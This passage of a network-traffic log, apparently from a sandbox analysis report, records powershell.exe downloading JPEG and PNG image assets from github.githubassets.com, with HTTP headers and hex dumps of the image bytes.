11 7c b4 e5 a3 99 33 19 6e 66 94 99 Data Ascii: (V}T`2sY<y2-Yh\|VmVMB:>={LN >}X!&M"G[7w'y(RlR7Mjg_\|?-$wfx?o@};w'N#%-.\|/\@pl]=@3^~tasa[27yT\|3nf
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: ec c6 9f dd 62 00 b0 d8 5d db 66 2a ad 3e 87 87 e1 60 18 0c 05 07 52 dc b9 01 48 7b 78 b4 23 b1 26 ff bd 6c 98 69 ed cd 35 6b d6 50 5a e0 3b 3b da 7b 65 0e f4 a5 1b 8b aa a7 18 00 c0 77 c0 ec 7d 56 7b 04 bf 72 d2 59 41 02 c0 17 7e b6 07 a0 0e e9 b6 77 a7 e7 c7 c6 10 9d 9a 46 cf e3 47 92 6e 4b 47 a7 06 e3 c8 e7 e5 29 4b 46 3f 93 bb 4f b1 b1 b1 94 1a 7e fb ed 37 93 46 d8 bb 71 3e fe 1e 56 05 80 e1 92 ee f5 ea d5 a3 c0 c0 40 7b 06 e1 96 6c bc e7 18 8a a5 35 00 fa 03 c3 88 ce cf 4c a2 6e d7 87 4e 0d c1 a2 21 49 6b 84 e2 0e 92 cd f5 90 a2 a3 a3 4d de 63 4b 74 69 9b 02 a0 d6 03 c5 c8 79 8a f2 36 52 7c ed c2 05 c4 a6 4e 9d ca 1b 8f 27 17 84 b6 d0 51 48 00 fe f9 e7 1f db 02 10 f7 26 37 76 f3 9e fd 9a 12 62 1b 3b 35 04 dd ea 27 9d 7d c9 e3 10 dc b5 b3 96 a6 46 db Data Ascii: b]f*>`RH{x#&li5kPZ;;{ew}V{rYA~wFGnKG)KF?O~7Fq>V@{l5LnN!IkMcKtiy6R\|N'QH&7vb;5'}F
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 7d c7 5d 98 54 35 fe b0 b0 30 43 57 ca 12 53 a7 4e 35 7e 8d 0e 66 80 f6 40 02 b0 77 ef 5e 09 40 1a 03 c0 fc f5 d7 5f 34 6d da 34 6a d7 ae 1d bd f5 d6 5b 29 da a9 53 27 fa ea ab af e8 c9 93 27 94 12 1d 3b 76 34 0e c0 55 98 16 04 09 40 1a 02 e0 64 74 3a 1d 85 84 84 18 07 20 16 da 0b 09 c0 9e 3d 7b 24 00 2e 1c 80 d8 d8 58 b5 db f4 31 f4 0e 24 00 12 80 52 a5 4a 19 37 7e 3d 7c 09 da 0b 09 c0 ee dd bb 25 00 2e 1a 00 33 23 cd 31 d0 0e 08 7a 09 80 6b 07 e0 9f 7f fe a1 42 85 0a 19 37 fe 27 f0 65 68 4f 24 00 bb 76 ed 92 00 b8 58 00 2e 5f be 4c 25 4a 94 50 8f fe 9f 40 3b 21 e8 20 b1 3b 77 ee 94 00 b8 48 00 b8 4c 25 df 1e cd 92 25 8b b9 0b 5f 5f e8 da 48 00 24 00 09 09 09 06 f9 f6 a5 5e af 27 4b 3c 7b f6 cc 50 9e fe fb ef bf a7 fa f5 eb 27 37 58 d6 0b da 19 21 01 12 Data Ascii: }]T50CWSN5~f@w^@_4m4j[)S'';v4U@dt: ={$.X1$RJ7~=\|%.3#1zkB7'ehO$vX._L%JP@;! ;wHL%%__H$^'K<{P'7X!
2024-09-30 13:50:59 UTC	52	IN	Data Raw: 58 ca 1d a6 29 0b 82 2f cc 04 b3 c3 9c 30 0f 0c 86 21 30 08 e6 84 d9 60 26 e8 07 5d 00 e1 7f 01 8a 53 30 a1 06 a3 8e b6 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: X)/0!0`&]S0IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49823	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:59 UTC	356	OUT	GET /assets/globe-d6f3f4ee645a.jpg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:59 UTC	703	IN	HTTP/1.1 200 OK Connection: close Content-Length: 121231 Cache-Control: public, max-age=31536000, immutable Content-Type: image/jpeg Content-MD5: atcwIgRzsshkDq8+5gNtvg== Last-Modified: Wed, 14 Aug 2024 20:00:16 GMT ETag: "0x8DCBC9BB77D46A3" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1755958 Date: Mon, 30 Sep 2024 13:50:59 GMT X-Served-By: cache-iad-kiad7000095-IAD, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 10620, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 74affc190a4c540df88d8d83382723b01c4e85ce
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea 01 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea ff c2 00 11 08 05 7c 04 d6 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 03 04 02 05 06 07 ff da 00 08 01 01 00 00 00 00 fc 64 00 00 00 00 00 00 00 01 7f d3 5e 07 cf 79 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f fa 4c ff 00 35 48 27 e8 Data Ascii: JFIF0##03)')3L;55;LWIEIWj__j0##03)')3L;55;LWIEIWj__j\|"d^yoL5H'
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: f3 14 d3 c5 55 f3 c7 3c c4 40 01 bb d1 f0 00 0f a0 f5 7e 28 00 00 00 00 00 00 3e d2 9f 91 3e 87 4d f5 e8 f8 de 07 dc fc 47 5d d9 65 d7 5f a3 46 8d 5a b4 68 d3 a3 5f b3 86 e4 47 1c 57 c7 1c f3 cc 09 16 eb f2 f2 e5 a2 9f 67 e4 a9 a7 35 15 d5 4f 1c 71 cf 30 80 13 f5 5f 28 00 db f7 df 9a 00 00 00 00 00 00 0f a2 f2 f0 e9 ae af a4 fa 9f 23 d2 f8 4f 7b e5 09 9f ba f8 bb 6d be fd 1a b5 ea d7 b3 4e ad 7b 74 75 cf a1 e1 e5 a6 aa f8 e3 9e 79 e6 22 20 89 6e f7 fe 66 6d ef a6 ff 00 07 15 19 32 66 a6 8a 2b aa be 78 e6 10 07 d6 7c 98 07 5f a7 fe 6b 40 00 00 00 00 00 01 f5 bf 4b f0 b9 73 fb 5d 7d ef e6 79 be 8a ff 00 0f c8 99 ee df b6 f9 3d 1a 75 6b db b7 5e cd bb 76 dd ce 6c 99 a8 d7 e5 d7 c7 1c f3 cf 3c c4 47 31 10 87 a9 e9 fc c2 67 ae ac b6 fe b8 a7 26 4c 59 a8 cd 45 Data Ascii: U<@~(>>MG]e_FZh_GWg5Oq0_(#O{mN{tuy" nfm2f+x\|_k@Ks]}y=uk^vl<G1g&LYE
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: f7 30 fd 4e eb b5 f9 9e 07 9f 9e ba 95 7d 3f cb c4 f1 d4 71 11 37 66 aa 34 c6 4e e7 95 f9 ea b3 9c ba fe 87 e7 fa a6 6d c9 6f 59 ac 8a ec e7 be 73 dd 4f 34 5f 12 53 c3 b9 e6 b6 58 59 5d 71 09 9f a7 60 eb 16 5c 54 57 5f 31 00 00 00 00 00 00 27 5f d7 7a 3e 07 dc f7 f7 77 fb 9e 57 99 f3 b9 28 a7 9a e7 8f a9 f9 7e 13 cf 33 65 0e 25 cf 35 ea af 16 87 35 ee c3 63 d1 a3 15 13 65 51 67 1c 5b cd 17 31 ea 8a 16 38 b2 b7 3c c4 77 92 b8 bb 3c 2e e6 ba a0 f4 7e 93 e3 ed db a7 0e 2c 54 d7 5f 08 00 00 00 00 00 04 db a3 d4 fd 06 cf 43 4f d9 7b 1e 36 2f 94 cd 45 31 57 5c 5b ee fc df 75 5b 4b 9e 53 cf 74 4c c7 3c e8 cb 5d ac da d7 fa 5e 15 17 55 4e 8e 33 e9 e7 2e a6 2d 91 9a ee 95 bb ae 33 cf 72 af 24 44 44 44 dd 54 50 b3 ee fe 0a 7a b7 56 dc 18 b1 d3 5d 51 10 00 00 00 00 Data Ascii: 0N}?q7f4NmoYsO4_SXY]q`\TW_1'_z>wW(~3e%55ceQg[18<w<.~,T_CO{6/E1W\[u[KStL<]^UN3.-3r$DDDTPzV]Q
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 04 10 97 5d 5d b7 36 4c f4 55 1c 80 00 00 0b 74 7a 7e b7 b3 f5 7f 5d e8 7c af 97 8e 8a 63 8e aa ea 38 d1 e6 47 5a 6a ea 1f 43 f3 32 e6 9e ea bd 19 bb 5d 18 ef ed ec 78 93 55 7a 79 cb b3 9c 5b b8 c5 bb 9c 3b 79 c7 ba bc 7b b8 c5 b6 3c fd ec 1a ba a2 ad 0c 5a 7a a2 ab fa fa ff 00 cf f9 8d 4c 6e b8 41 02 04 ba ee fd be 76 7c f4 71 10 00 00 00 ee fd be af af f4 7f 5d f4 df 3b e3 61 cd 9f aa 7b aa ca dc c6 36 93 97 1f 4b f3 7c f1 c5 b4 5c 67 75 d4 e7 9b df 45 f3 4e 28 d3 d6 1d 3d e2 d1 6e 1d 16 61 d3 de 0d 93 83 6c e0 d5 de 1d 3d 66 5d c6 3d ac 56 d9 9a 2f e7 ea fe 57 26 78 8b bb 71 9c 81 00 27 be f5 5f e6 e7 cf 57 31 00 00 00 26 dd 3e 9f af ed fd 57 d7 d7 f3 7e 76 4c ee 22 2b d3 99 1c e4 8d 75 f3 dc 47 d4 fc 8b b9 a3 ae 99 6c ea 26 a5 ed 5a 3c aa a2 6d a2 2e Data Ascii: ]]6LUtz~]\|c8GZjC2]xUzy[;y{<ZzLnAv\|q];a{6K\|\guEN(=nal=f]=V/W&xq'_W1&>W~vL"+uGl&Z<m.
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: e8 bc bf 4a 3c cf 4f 9f 33 d1 8f 33 d1 e3 0e 8f b4 fc ff 00 98 88 6e f3 91 17 f7 93 5e 7a e0 f7 bd bf 8b a0 00 04 f5 dd fe 8f 93 96 ae 22 00 01 d5 fa fd af 7f da fb 4d ff 00 23 e7 e5 aa be 3a e7 a6 4d be 6f 1a 63 9e 6c e2 be 6d 2a 38 fa 6f 9f aa a9 d1 34 d7 a2 bf 6b cc e7 15 f6 e7 e6 fa 2b bb 3d 97 61 dd 3e 76 f7 9b e8 c7 9b e8 f1 83 d0 e3 07 a1 56 3d d5 e2 dd ce 0d fc 7d 4f ca f9 dc c4 44 42 36 66 ab 46 62 10 59 f6 bf 3d e3 10 00 27 ae ac f4 29 f3 a8 e3 98 00 05 9a 37 7b de f7 b7 f7 de 0f 85 8a 8a a9 ef 8e 6f c7 de 8f 2e 35 f3 c7 4a 79 99 98 e2 c5 3f 55 f3 1c f7 9b 4c b0 df 3f 55 f2 77 f1 8f 73 cf d2 cb af 9c bb f8 c7 b6 bc 9b e8 cf b3 37 1a b2 75 7e 2b 6d c3 75 d8 6e bb 17 5f 5f e7 fc ce af 3b 98 88 88 6f f3 d1 04 10 87 d4 75 f2 80 00 9e a7 bd 5b 3c 9c Data Ascii: J<O33n^z"M#:Moclm*8o4k+=a>vV=}ODB6fFbY=')7{o.5Jy?UL?Uws7u~+mun__;ou[<
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 00 3a d1 ab d9 fa 4f 77 e8 fc cf 27 1d 35 f1 9e 34 f1 1c f1 67 58 fa bb 2d 5c a0 82 1a 6d e3 3f dd 7c 4d 77 75 6f a1 e5 e7 84 5b 4d b6 e7 e7 4d 15 e8 cd c7 50 ae de 39 d1 9d a3 15 d6 f9 fb 27 cd fd 27 e4 7c 0d fc f9 fb 2b cd a3 3f 7d e7 b7 1c 21 08 88 42 10 40 21 22 7e ef e1 04 93 3d 77 7e bf 36 ae 39 80 1d e8 d7 ee 7d 27 bb ef f8 be 66 5a 2b e3 98 d1 97 a9 e5 50 c7 08 41 08 5d dd bc fb de 1f 19 74 fd 5f cb e1 d1 4d dd e2 de c5 a7 ac 76 a8 b2 ab b8 e3 56 66 8c 76 db 83 4f 7e 7e d9 f3 3e e3 27 c7 fa 3c f9 be 83 cc dd c6 1b eb 8b 71 c4 22 11 10 44 10 40 00 f7 2d f0 02 66 67 bb b7 f9 94 f3 c4 00 ef 4e cf a0 fa 3f 6f db f0 bc dc d5 53 1c 5b 54 5d 9b a8 ab a6 38 42 08 40 db 97 bf 52 7c f9 7d 0f cd 54 ba 9e ee af 36 ba f2 df 57 55 f7 7e 5b 6e c1 a2 cc 1b 27 cd Data Ascii: :Ow'54gX-\m?\|Mwuo[MMP9''\|+?}!B@!"~=w~69}'fZ+PA]t_MvVfvO~~>'<q"D@-fgN?oS[T]8B@R\|}T6WU~[n'
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 6e ab 26 8e f0 91 04 20 20 02 44 89 9f b7 f8 89 9e bb d3 a7 cf e3 98 80 4d 9a 75 fd 07 d0 fb 7d 78 d8 b3 71 cf 0b 6b cb 08 84 44 42 22 10 80 0d 99 34 57 48 80 40 88 42 11 1a 29 b7 2c 3a 8e e9 75 4f 53 9b 98 88 88 88 88 8b ba be 8c d7 f1 9b 5e 24 21 02 00 04 89 25 f6 df 15 33 d7 7a 74 f9 dc f3 10 09 ef 4e bf af fa 1f 7a ff 00 17 c1 c5 5f 35 dd 56 78 42 22 11 11 10 84 04 03 45 76 e6 80 20 22 10 84 23 a4 d0 8e 9d d1 df 59 6d 8c d1 11 11 11 11 1b b0 6f e7 06 be b3 57 34 42 10 20 00 12 24 9f a4 f3 bc e9 eb bd 56 e1 e7 9e 40 59 a3 57 b7 f4 5e de cf 13 0e 6a a2 be f3 f3 10 84 44 42 22 21 08 10 17 f3 76 40 20 21 04 21 10 5d d6 38 88 d9 18 b5 f1 97 5f 9f 11 cc 44 42 39 86 ac 51 1e 87 18 b7 f9 b0 84 08 08 04 84 92 2d fa ff 00 8d eb ab 35 4e 4e 39 80 1d e8 d3 ec 7d Data Ascii: n& DMu}xqkDB"4WH@B),:uOS^$!%3ztNz_5VxB"Ev "#YmoW4B $V@YW^jDB"!v@ !!]8_DB9Q-5NN9}
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: c4 22 11 08 88 88 44 10 10 12 00 20 42 11 08 87 7c 59 5f 16 d2 aa 23 9e fa ea 8e bb cf 36 63 88 be 9b b9 a7 88 46 ce 33 b9 83 4d 1c 35 c4 72 99 33 ca 49 4c cf 7a 7e e3 e0 79 88 00 01 d5 d7 6e f6 bd 7f 5f cd f3 f3 d3 5f 3d d5 08 84 44 44 42 20 82 00 00 01 04 22 10 88 88 ba 8b 22 9b 19 e2 23 4b 1e 96 2d 78 e2 22 c9 57 d5 10 82 08 04 6a 8a fb ea 3a e2 68 24 94 f5 36 6f fa 8f 89 e6 20 00 04 db 76 9f 5b d7 f6 67 c9 cb 45 7c 38 42 22 11 11 10 88 20 40 09 00 80 84 42 11 08 8e b8 ef 9e 23 9e 62 22 fa 66 9e d4 44 21 ab 1c dd 9a 10 41 05 93 4a e5 ae 55 d7 7d 95 aa 49 d4 f5 7e ef a3 f8 ae 50 00 02 7a ba ef 47 d7 f5 fd 4f 27 16 6a b8 b7 3c 21 11 11 08 88 84 08 00 00 04 11 04 42 22 08 ee b5 71 11 11 3c 39 8e 62 21 0d 59 bb 8a 21 04 10 0d 04 71 dc f1 55 fc 5b 5f 09 4c Data Ascii: "D B\|Y_#6cF3M5r3ILz~yn__=DDB ""#K-x"Wj:h$6o v[gE\|8B" @B#b"fD!AJU}I~PzGO'j<!B"q<9b!Y!qU[_L
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: a7 34 44 3e bb c9 f1 c0 00 00 00 09 77 65 da b4 6b f7 7c fc 74 57 c7 3c c4 44 39 44 44 21 02 00 09 01 02 04 42 21 10 e6 1d 4c f3 c7 6e 2e cf d2 2b d1 4a 62 50 94 20 98 1d 59 b3 5f 1e 4c 23 e9 b8 f9 c0 00 00 00 00 99 ef bb f4 df bf d8 f3 b2 53 5f 1c 44 44 44 44 42 22 10 20 01 20 04 08 42 21 08 88 85 b1 57 62 38 ea 2b b2 10 e6 ce 6b b6 39 ea 78 ea 22 24 ea cd 7d 62 d7 af c7 e7 eb f1 fc e0 00 00 00 00 13 3d f7 7e 8d 1b fd 8f 33 25 35 f1 cc 73 10 88 88 84 42 10 00 90 00 21 08 44 22 23 a8 ea 38 ee 78 ea be a2 ab 1d 71 1c 5b 11 1d 39 98 8e b9 24 9b 35 b2 72 d1 ed fa df 2f e6 00 00 00 00 00 4c f7 dd fa 2f f4 bd 5f 33 25 35 f1 cf 31 11 10 88 88 84 04 01 22 40 40 84 42 11 11 0b 6a b2 78 73 2a 6c 94 57 3d 75 cc 73 dc 44 b9 eb 99 0e ac d5 b3 c8 e5 e8 fd 0e 5a fe 64 Data Ascii: 4D>wek\|tW<D9DD!B!Ln.+JbP Y_L#S_DDDDB" B!Wb8+k9x"$}b=~3%5sB!D"#8xq[9$5r/L/_3%51"@@Bjxs*lW=usDZd
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 6f 00 00 b7 20 00 00 00 00 00 00 01 bc 00 01 bc 00 00 00 00 00 00 00 0d e0 00 03 59 00 00 00 00 00 00 00 5b 90 00 0d e0 00 00 00 00 00 00 01 bc 00 00 1a c8 00 00 00 00 00 00 06 f0 00 00 6f 00 00 00 00 00 00 00 34 03 20 01 ac 83 54 99 00 00 00 00 00 1a df 3a 24 d5 60 00 d6 4d b3 06 f3 00 00 00 00 00 5b 7a 63 23 57 39 6d 91 10 de 36 c0 0d e0 00 00 00 00 0d 6e 39 85 ba d6 fa 1b 86 73 9c e4 e7 00 1a c8 1b c0 00 00 00 6b 79 c6 f0 ba e9 d7 b7 6e fd bb 6f 3c 3a 5b ae 7c 78 f9 b3 c7 96 71 20 1a c8 3a 73 00 00 00 45 d6 a6 1b 9d 7b 7a 7d 7e be f7 cf 71 0c dd 75 de bc de 8c f8 39 f9 78 72 e7 88 1a c8 6f 30 00 00 03 37 d3 89 5c b7 e8 f4 7b 7d dd b9 f9 78 ea 7b 3b 6f 7a 13 1e 3f 56 66 3b e3 c9 e2 f2 f0 e3 88 6b 23 57 00 00 00 23 b7 4e 7d 78 3d 58 f4 fd 1f 74 f0 f0 e9 Data Ascii: o Y[o4 T:$`M[zc#W9m6n9skyno<:[\|xq :sE{z}~qu9xro07\{}x{;oz?Vf;k#W#N}x=Xt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49824	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:59 UTC	365	OUT	GET /assets/footer-copilot-54114bfd1d20.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:59 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14889 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Fri, 03 Nov 2023 14:46:32 GMT ETag: 0x8DBDC7BABCF81C2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:59 GMT Age: 3011949 X-Served-By: cache-iad-kiad7000173-IAD, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 49652, 2 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 71f7e4eadb97caf5e7157c948a585fd0ca8e8bca
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 6d 00 00 01 6d 08 03 00 00 00 fb df cb 10 00 00 03 00 50 4c 54 45 00 00 00 0b 0a 0f 68 7a d2 28 31 ea 44 4a c3 26 25 f3 2d 2c e1 33 2c e3 e2 f8 ed 75 78 e6 2e 2c f4 2f 2c f3 71 78 e1 0d 15 fa 5c 40 e9 75 77 e5 d2 d8 dd 19 1f f0 75 6d dc 02 0b ff 0b 10 fc e7 e9 f3 07 ac 86 da de e8 1d 8d a2 99 77 de e6 e3 f5 85 76 e3 5b 3d e5 e5 e2 f1 00 97 96 00 55 c8 43 33 e7 06 0d f9 d0 d0 eb 04 13 f1 61 47 e5 e6 e2 f4 6e 5f d9 eb e8 f4 00 c6 71 00 a5 8a 1b 7b ad 0a 39 ce d8 dc ea a9 8d dd de e6 e6 c2 ad e7 82 50 df 53 36 eb 59 3a e9 5f 3d e8 4d 33 ed 47 30 ee 02 0b ff 65 40 e7 70 46 e4 3b 2a f1 54 5d e0 6a 43 e5 41 2d ef 2d 22 f4 76 4a e2 34 26 f3 26 1f f6 7c 4d e1 20 1b f7 1a 18 f9 87 57 e1 13 15 fa 0d 11 fc 8b Data Ascii: PNGIHDRmmPLTEhz(1DJ&%-,3,ux.,/,qx\@uwumwv[=UC3aGn_q{9PS6Y:_=M3G0e@pF;*T]jCA--"vJ4&&\|M W
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 9b a8 59 ba 58 2c c6 a1 5c ce 34 4d d2 66 ee e9 54 ed 0d 8a b0 7b d0 6c 46 de 35 04 0f f9 ae c0 46 ee fc d2 dd 5f 27 95 4c a6 2e d6 80 5b f8 88 da 2e bd bf 9f 83 4c 08 b4 99 1b bc 11 9c c8 a9 29 61 37 9b f0 37 93 b3 b3 7e bf d0 a8 d5 2a 25 98 70 b1 b4 46 c6 32 c7 22 d9 83 d2 49 2c d5 71 2e ef bb ee ba 56 fa 76 15 b5 25 bd bf 28 96 e3 e1 9e b4 80 1b bc 09 9c 9a 52 43 c2 46 ed c9 64 04 81 37 80 c3 80 bf f7 07 6e 78 2e 75 7f 3c 1e 90 36 63 93 ed 79 72 d1 77 fb f2 76 d5 9d a0 08 f8 99 9a 66 5a 49 c7 62 46 ce 30 0c 93 b9 5b c8 8d de 24 ce f5 14 36 69 9b 7d a8 58 68 34 e4 80 87 58 eb f6 60 30 18 c3 a9 16 09 63 77 92 56 e9 8e 4b b9 45 d0 41 4d ce 9c 61 e7 86 9a 54 cf 51 53 61 83 b6 09 e5 72 f1 62 b1 50 90 de 25 75 c9 bc 33 50 a9 45 62 b9 66 95 75 2a 99 4a d3 f6 Data Ascii: YX,\4MfT{lF5F_'L.[.L)a77~%pF2"I,q.Vv%(RCFd7nx.u<6cyrwvfZIbF0[$6i}Xh4X`0cwVKEAMaTQSarbP%u3PEbfuJ
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 3c dc f4 5b b9 0e 6e ee 03 5d ee c7 e0 c6 3d e0 b6 fb c0 7c be 63 32 19 58 13 9b 73 9d 3d d2 6b b1 eb e5 fe e5 20 73 95 39 9a e3 67 6c 07 33 be 65 b5 1f da 38 cd 6d ca e1 c7 2d 56 77 c8 fd 48 ee e1 4a 99 c3 ea 8e 26 ff 64 b0 13 d2 9e 6f 08 2e 6b 83 78 1b f1 ed ed ce 94 93 92 5a 23 89 2d d3 fd 31 31 dc 57 af 0f e1 ee 3d 92 b4 9c ea ce db 7f 85 02 f6 30 6b 9c 99 43 bd a6 a8 e7 c0 99 61 8d d3 7e 66 05 bc 29 13 de 89 07 fc 59 c9 19 ed 37 c8 a0 e1 c6 42 19 72 37 7a 1d 97 db ac 94 39 dc 75 0f c1 26 74 26 f5 dc 5c a6 b4 40 e3 32 da f2 84 e2 dd 74 06 7c 85 da 1a 5b 71 6f 69 6b f2 fd 18 c6 dd c2 77 37 36 cc 4a 99 bb 2e 89 4e 04 d8 23 15 f6 6f 53 13 5b 9e 31 f6 2e 50 db 62 23 aa 4b 76 fd e1 96 2e 49 ec 03 1d ee 7e 0b df 05 77 2e b7 81 c4 de cf 60 17 3a db 62 8d d9 Data Ascii: <[n]=\|c2Xs=k s9gl3e8m-VwHJ&do.kxZ#-11W=0kCa~f)Y7Br7z9u&t&\@2t\|[qoikw76J.N#oS[1.Pb#Kv.I~w.`:b
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: e3 1d f6 03 ad dd d8 5f 2b c4 26 f7 fb 22 bc 9f 6a 6b 44 61 1b ed b7 6f 77 47 de 07 ea d1 c6 70 23 78 ec 38 ab 84 3d b2 de 05 35 3a 04 dc 56 9c e3 4d 6c 0d ee 8f b8 37 e3 e1 a8 67 c4 fe 02 21 34 b5 75 99 b4 8b 71 6e b6 5d 6c 68 3f f7 57 4a e1 be 3f 98 5b ac e5 88 87 7b ac 55 12 9d 82 b4 c1 56 d0 67 cf e2 b4 de 01 b6 f6 96 d3 03 37 45 b0 af d8 32 62 48 3d 88 7b e7 26 52 c4 71 93 d8 b1 36 b9 b9 0f 24 b7 b3 31 d1 d6 e5 f2 9d 78 b8 c7 b8 07 8c 26 b4 34 32 b5 0e 6a 89 f5 96 10 9b d6 72 e9 83 71 9b 20 7b 98 25 c1 50 d3 3a 8c e2 de 6b b7 15 b4 b5 26 36 b4 3f 51 3b 7c 83 ca e1 6e 08 35 c2 e1 1e 63 95 44 bf 88 bb 93 d8 17 a2 38 0e e0 26 b6 58 42 e2 ec e0 20 ce da 69 d3 56 6b 4a 85 93 d8 12 6b 82 a0 89 7d 77 b1 c5 dd c1 4d 44 22 0e 24 12 1c 9c fe 2e 95 48 70 11 d2 Data Ascii: _+&"jkDaowGp#x8=5:VMl7g!4uqn]lh?WJ?[{UVg7E2bH={&Rq6$1x&42jrq {%P:k&6?Q;\|n5cD8&XB iVkJk}wMD"$.Hp
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: e9 b6 ee c5 e8 2c 3a 57 f1 1e 46 87 d8 69 6b 72 3f 7c 82 f3 e3 f9 d3 a7 37 ae 43 38 4a b4 f6 ca 76 3e f6 8a 38 0c b6 9c 23 25 a5 5e 49 a2 c1 55 b4 f6 14 3f e9 d4 b2 dd 39 63 cc f3 02 77 ea 9b a3 60 aa 5b 74 fb 15 dd f7 20 37 3e 1c b8 f2 e4 28 9a 0d 6a 57 bb a3 b4 57 36 f2 86 48 1c 0a 1b 9b 6d 8b 4d 6f cb 8d 6a 43 59 1f 85 ea d6 9b ea b9 e0 ac 3a f1 0b d5 53 ef e3 a8 79 78 e8 d0 85 2b cf 8f ae 5d 67 b4 11 62 8b 36 b9 7d eb 80 d8 b3 95 75 05 ca b8 99 18 6e 68 bf 31 c4 94 9e a4 e9 72 14 aa d3 9d f4 b9 7b 75 85 ed 96 da e6 49 b7 db bd 70 e8 61 a3 33 c2 ed 4c 92 b1 dc 6a 73 12 07 c0 a6 f6 12 60 63 29 ed 8a 3b 4d a4 da 48 4c 6d 9a 33 79 ea 94 2f 9e 2f 89 b7 71 f4 e2 b6 9a bb c3 27 67 76 9f 81 f6 a1 2b ed 35 29 6d c4 68 b7 db 0d 8f 7a d3 54 39 2c 76 d4 33 d4 12 Data Ascii: ,:WFikr?\|7C8Jv>8#%^IU?9cw`[t 7>(jWW6HmMojCY:Syx+]gb6}unh1r{uIpa3Ljs`c);MHLm3y//q'gv+5)mhzT9,v3
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 95 8e a3 f7 6c 3b b7 74 73 4a a7 7e 34 25 78 ca 59 98 8a 37 4b 2e ca a4 7e 91 81 36 22 df a0 f6 32 d6 81 ad d5 16 6e 19 25 a2 7d ed 99 fc 72 d9 4d a1 75 f0 b2 dc 32 48 c8 9c a8 9e 8d 4e 6c fd 85 e1 4f 26 f7 e9 b1 f7 3a 21 90 34 4b 20 ab c6 c4 96 40 5b 86 ba 60 a3 da d0 d6 72 cf 83 3b 87 c9 cd 25 09 bb 4d 6e 68 6f 91 37 ae 5e 20 7a 2f 76 0b de 63 e5 c8 a9 c2 f1 ce 63 69 1a 7a d9 9b 25 17 3f 57 5e 86 da a6 da d0 36 dc 79 2d 4b a8 7d 4d d3 e3 86 f6 da c1 16 3e bc e3 ec 6b 8a 3a e9 fb 1b eb fe 1a 26 3b 45 dd c1 9d 3a 64 bc 59 f2 d1 e7 d1 44 b4 ed 20 89 72 cf 4b 16 f2 58 96 50 bb 89 d4 b1 3b dc 07 5b 5b e6 4c f7 a8 dd b3 52 90 9d e8 d9 f0 b6 e2 bc ae df ed 04 e9 a6 57 3e 0d dc 9b 25 7f 7f f8 21 9c 19 4f 1b dc b8 d6 b3 78 0f b4 27 f3 2c f7 65 c3 75 59 